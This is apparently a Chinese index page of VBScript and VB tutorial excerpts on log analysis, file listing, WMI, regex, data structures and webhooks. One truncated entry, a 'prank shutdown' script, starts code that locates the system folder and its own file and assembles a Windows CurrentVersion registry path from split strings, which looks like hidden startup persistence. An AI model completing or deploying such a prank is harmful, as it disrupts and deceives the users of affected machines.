vbs源码之的IIS日志分析工具
为什么要开发vbs写的IIS日志分析工具？
在网上找了很多IIS日志分析工具，功能实在太有限，有的仅能分析百度、谷歌等搜索引擎爬虫的来访次数，远远达不到我们的用户的需求。作为一个小站长，有的时候也要分析一下自己站点的广告点击情况，静态页面的还好说，下载类的业务就不好统计了。耗时一晚上写出来本工具分享给大家。
...
vbs提示没有在该机执行windows脚本宿主的权限。请与系统管理员联系
最近在项目中使用VBS来实现图片的批量删除和批量导入功能，但不知道为什么，只要在我机器上一运行VBS文件就提示“没有在该机执行windows脚本宿主的权限。请与系统管理员联系。”的错误。下面贴出本人的解决方法，并附上图片批量导入及批量删除的VBS代码。
如果只是因为权限问题可以查看这篇文章：
以管理员身份运行程序的vb ...
allfiles.vbs 显示子目录下的所有文件的修改时间、大小、文件名、扩展名等
有的时候将子目录下的所有文件的修改时间、大小、全限定名等信息导出到Excel表格中。
尝试过命令行，但不太好用——
1.对于“dir /s >1.txt”，当前目录与文件列表是分开显示的，合并起来太麻烦，而且没有文件的全限定名。
2.对于“dir /b /s >1.txt”，只有全限定名，没有修改时间、大小等详细信息。
3.对于“tree ...
简单用VBS调用企业微信机器人发定时消息的方法
去年在企业微信群当中突然看到多了一个叫多群机器人的东西：
企业微信群机器人
以为是升级了什么黑科技，看了下说明，原来目前功能是一个接收自定义消息的Webhook接口，可以通过调用接口把自定义消息推送到机器人所在的群当中。虽然看上去很简单，想想还是挺有用的，于是简单尝试一下先做个定时提醒试试。
在群中添加机人 ...
Office 批量激活的命令工具 ospp详解
Office 软件保护平台脚本 (ospp.vbs) 使你能够配置 Office 产品（包括 Project 和 Visio）的批量许可版本。
ospp.vbs 脚本
opss.vbs 脚本位于Program Files\Microsoft Office\Office16或Program Files (x86)\Microsoft Office\Office16文件夹。
适用于：Office 2019 和 Office 2016（包括 Project 和 Visio）的批量许可版本 ...
VBS定时执行idea程序的Testng文件的方法
背景:
Windows环境cmd命令行执行TestNG文件，会报一些jar包路径问题，所以改用vbs打开idea程序的通过点击快捷键执行testng.xml文件。
vbs代码如下：
'第一部分：定义变量
Dim RunTime
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
'第二部分：输入等待的分钟数(默认：180分钟)，等待结束后，会 ...
VBScript 动态 Array 的实现代码
记录一个小方法，关于 VBScript 中，动态 Array 的实现，也适用于 VBA，
在很久以前，写 VBA 的时候，就觉得使用 Array 和不方便，因为大小固定，
当时想的是，要是 Array 可以像 Python 里的 list 一样好用该多好啊，
那么下面，就记录一个方法，能让 Array 变得动态，并且好用！
实现方法：
在下面的实例中，先设定一个 ...
vbs小程序图标更改方法的实现
1.首先将vbs小程序放在一个自定义文件夹下，然后在此文件夹下生成vbs小程序的快捷方式
2.将你想要换成的图片（图片像素要低）也放入此文件夹下，并改成bmp格式
3.右击vbs快捷方式，进入属性，点击更改图标，再点击浏览，选中刚刚的bmp图片，点击确定，快捷方式的图标就更换完成
4.将vbs快捷方式拉入桌面，大功告 ...
vbs ping实现的两种方式
对于vbs中ping的实现可以通过两种方式 ：
1、调用系统ping命令；
2、使用wmi查询pingstate类处理。
1、调用系统ping命令
Set wshell = CreateObject("WScript.Shell")
wshell.run("ping 182.183.101.1",0.true)
对于以上调用，如果想对其进行过滤，可以考虑将运行结果重定向到文件，在读到一个string中，查找 ...
VB中使用WMI获取系统硬件和软件有关信息
WMI是英文Windows Management Instrumentation的简写，它的功能主要是：访问本地主机的一些信息和服务，可以管理远程计算机（当然你必须要拥有足够的权限），比如：重启，关机，关闭进程，创建进程等。
当然此文是适用于vbscript
微软官方的资料：
实例如下:
用WMI,先工程-引用 Microsoft WMI Scripting V1.1 Library
获取 ...
在VB中遍历文件并用正则表达式完成复制及vb实现重命名、拷贝文件夹的方法
先看下在VB中遍历文件并用正则表达式完成复制功能
将"E:\my\汇报\成绩"路径下源文件中的“1项目”，“一项目”等文件复制到目标文件下。以下为实现方式。
Private Sub Option1_Click()
Dim myStr As String
'通过在单元格中输入项目序号,目前采用的InputBox方式指定的，也可通过此方式。二者取其一。
'myStr = Sheets(“ ...
VB FileSystemObject对象实例详解
FileSystemObject对象被用来访问服务器上的文件系统。这个对象能够处理文件、文件夹和目录路径。用它来检索文件系统信息也是可能的。
下面的代码创建了一个文本文件，并写入了一些文本：
<%
dim fs,fname
set fs=Server.CreateObject("Scripting.FileSystemObject")
set fname=fs.CreateTextFile("c:\test.txt",true)
...
15分钟学会vbscript中的正则表达式
vbs中的正则表达式
假定要搜索的字符串是 str="hello world Hello World"
1--规则基本与dos中的findstr类似。有细微的差别。如果对规则有困惑的，可以在cmd中看看findstr的说明就可以了。
2--如何使用？
a--创建类RegExp
set reg=new RegExp
b--类的属性
reg.pattern---用正则表达式建立搜索模板
如： reg.pattern="hello" ...
VBS基础篇 - vbscript堆栈
实例代码
脚本文件：d.vbs，包含堆栈的添加元素（压栈）、删除元素（出栈）、遍历、统计元素个数、清空
Option Explicit
'建立堆栈
Dim Stk : Set Stk = CreateObject("System.Collections.Stack")
Stk.Push "Element1"
Stk.Push "Element2"
Stk.Push "Element3"
'查看堆栈中的元素数
WScript.Echo "堆栈中的元素数: " ...
VBS基础篇 - vbscript队列
实例代码
脚本文件：c.vbs，包含队列的添加元素（入队）、删除元素（出队）、遍历、统计元素个数、清空
'建立队列
Dim Que : Set Que = CreateObject("System.Collections.Queue")
Que.EnQueue("Element1")
Que.EnQueue("Element2")
Que.EnQueue("Element3")
'查看队列中的元素数
WScript.Echo "队列中的元素数: " & Qu ...
vbs能调用的系统对象小结
vbs能调用系统对象：
文件系统对象相关: ("scripting.filesystemobject")
字典相关: ("scripting.dictionary")
脚本外壳相关: ("wscript.shell")
windows外壳相关: ("shell.application")
正则表达式相关: ("vbscript.regexp")
asp相关: ("mswc.adrotator") ("mswc.nextlink") ("mswc.myinfo")
公用对话框相关: ("mscomdlg. ...
VB关机恶搞小程序
VB关机恶搞小程序一：
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVe ...
VB返回记录集结果到HTML表格的方法
本文实例讲述了VB返回记录集结果到HTML表格的方法。分享给大家供大家参考。具体实现方法如下：
function ReturnHTMLTable(query)
set rs = cn.Execute(query)
rs.MoveFirst
response.Write "<table class=""data"" cols=""" & rs.Fields.Count & """>"
response.Write "<tr>"
For Each oField In rs.Fields
...
VB获取文件大小的方法
本文实例讲述了VB获取文件大小的方法。分享给大家供大家参考。具体实现方法如下：
<%
' Copyright (c) 2009, reusablecode.blogspot.com; some rights reserved.
'
' This work is licensed under the Creative Commons Attribution License. To view
' send a letter to Creative Commons, 559 Nathan Abbott Wa ...
VB实现按行读取文本文件的方法
本文实例讲述了VB实现按行读取文本文件的方法。分享给大家供大家参考。具体如下：
'(general declaration)
Dim nFileNum As Integer, sText As String, sNextLine As String, lLineCount As Long
'==================================
Private Sub Command1_Click()
' Get a free file number
nFileNum = FreeFile
' Open ...
